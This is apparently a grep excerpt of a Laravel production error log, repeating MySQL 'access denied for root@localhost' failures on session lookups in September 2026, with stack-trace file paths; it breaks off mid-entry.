/var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-13 23:32:14] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jSNXy22n4EeNZiGYowwCnSyH4TxQFeF3RJ07oXq9 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jSNXy22n4EeNZiGYowwCnSyH4TxQFeF3RJ07oXq9 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-14 04:55:28] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Kch3GaUQNAMhQgizNflaiiDvd6xbeI5tIf1S9iim limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Kch3GaUQNAMhQgizNflaiiDvd6xbeI5tIf1S9iim limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-15 03:49:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kt8PdxxYAGICdwlB0B14AC7qvwWITCmEXdOoskSk limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kt8PdxxYAGICdwlB0B14AC7qvwWITCmEXdOoskSk limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-15 05:49:12] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dHllekoE5zpIEcI0OKuARZBIQnVBR9wiwbBtLOkH limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dHllekoE5zpIEcI0OKuARZBIQnVBR9wiwbBtLOkH limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-15 15:31:06] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Ho1cfwbHbDBWv4AmtEassBgUfEWtO4cP4K450Gkh limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Ho1cfwbHbDBWv4AmtEassBgUfEWtO4cP4K450Gkh limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-15 15:31:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jyqEOoHT3AYWzuaKG6rnaDGUabppjt4vU99jBmOs limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jyqEOoHT3AYWzuaKG6rnaDGUabppjt4vU99jBmOs limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-16 23:54:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Rlmnr1b7kfCzzCkXojJF5Gc6fpEGiWF1u3F4tNxv limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Rlmnr1b7kfCzzCkXojJF5Gc6fpEGiWF1u3F4tNxv limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-17 01:36:43] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ace0CVE629kjTpqhBCpiWl0ZItpeO2UT7DDlD8mI limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ace0CVE629kjTpqhBCpiWl0ZItpeO2UT7DDlD8mI limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-17 08:25:30] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QwCjEEswxZBwxrMod9HaPzSVr71pjkvqLl7nmAaJ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QwCjEEswxZBwxrMod9HaPzSVr71pjkvqLl7nmAaJ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-18 10:16:26] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WDcsuyduRa1nsDottUqsSvYmeLXRoqLr5C6VBxF7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WDcsuyduRa1nsDottUqsSvYmeLXRoqLr5C6VBxF7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-19 00:12:19] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6YJbIFctE0n9Fx5UG4CDjzPV6Pq5ONDKAHoNkXBc limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6YJbIFctE0n9Fx5UG4CDjzPV6Pq5ONDKAHoNkXBc limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-20 01:35:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0aMfyzQP4hsk8dbAKeJbL8xGJe3tccLeQCsjqKS2 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0aMfyzQP4hsk8dbAKeJbL8xGJe3tccLeQCsjqKS2 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-20 14:52:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = d3xBL0mSV9aUpL94uZnB7l80lC9DQdsRr9koauwY limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = d3xBL0mSV9aUpL94uZnB7l80lC9DQdsRr9koauwY limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-20 14:52:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Q8awpRnIM9puSGhnQpYmow6TqFHXgYkQe2FJ4YO0 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Q8awpRnIM9puSGhnQpYmow6TqFHXgYkQe2FJ4YO0 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-20 14:52:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = A8oRGUosf3KEX5Ey99s1b6hRqLiEqs9DeMC8Fmka limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = A8oRGUosf3KEX5Ey99s1b6hRqLiEqs9DeMC8Fmka limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-20 17:54:19] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WVsPD1i9aQpag91tAGFuyAIn5KIUoE1Ob4Ht7FuK limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WVsPD1i9aQpag91tAGFuyAIn5KIUoE1Ob4Ht7FuK limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-20 18:01:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = k0FQlksk4vJR2HzCm4gPGs8bqWCRMlcBqz1mJXbX limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = k0FQlksk4vJR2HzCm4gPGs8bqWCRMlcBqz1mJXbX limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-21 02:54:28] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tuC5SPt9uCnjUHLKdBVlWABrDH290xVNha5HdgFY limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tuC5SPt9uCnjUHLKdBVlWABrDH290xVNha5HdgFY limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-21 12:56:58] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = A1DAJXp54gvxV3ZU8MWxgY9tmWVTlB2ZuZXAzQcR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = A1DAJXp54gvxV3ZU8MWxgY9tmWVTlB2ZuZXAzQcR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-21 21:20:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sqidsZTWN1FMvpVBjED0iMEjGdRs20Pp4g2hVYDW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sqidsZTWN1FMvpVBjED0iMEjGdRs20Pp4g2hVYDW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-21 21:28:44] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rtoFZqwWCBxCNMJbvBgZyDrpvXw5w927xiybAzcH limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rtoFZqwWCBxCNMJbvBgZyDrpvXw5w927xiybAzcH limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-21 21:29:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IwxlxslMHsYX80i2LuYR1g2251AYiAwuhcUojdGQ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IwxlxslMHsYX80i2LuYR1g2251AYiAwuhcUojdGQ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-21 21:50:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = aXfKHKbmzzBSJxjHdvKhepGchlLYlUXIANjuYQ5K limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = aXfKHKbmzzBSJxjHdvKhepGchlLYlUXIANjuYQ5K limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-21 21:50:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HXBXXxzWQbr9hKiW3AvQ9rIgzGkexF9j0H0SJc5a limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HXBXXxzWQbr9hKiW3AvQ9rIgzGkexF9j0H0SJc5a limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-21 21:50:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IqqROq4U1nSUFzLHWtj1XIZyDvfIpaLvf1CkBVma limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IqqROq4U1nSUFzLHWtj1XIZyDvfIpaLvf1CkBVma limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-21 23:30:44] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XX9vrbkgoIHQEZdFgbrLj8uaF210rhWWC3arJLEI limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XX9vrbkgoIHQEZdFgbrLj8uaF210rhWWC3arJLEI limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-22 05:51:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IDgx7CUOu52AkOR6YNVopx3p7skgH0DrlYtiEwQ7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IDgx7CUOu52AkOR6YNVopx3p7skgH0DrlYtiEwQ7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-22 12:15:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sp2sb1yD9THpwzDkl4FmLorawtTlVlWYzI6TCQna limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sp2sb1yD9THpwzDkl4FmLorawtTlVlWYzI6TCQna limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-22 15:47:11] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cScRPPFVvfXROgYTUCK00zu2Vt4qraF3TNT17CJJ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cScRPPFVvfXROgYTUCK00zu2Vt4qraF3TNT17CJJ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-22 22:50:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fAXZIoDACdj6j8LeRHSWRRj3EdZg3hol1RO3fNBm limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fAXZIoDACdj6j8LeRHSWRRj3EdZg3hol1RO3fNBm limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 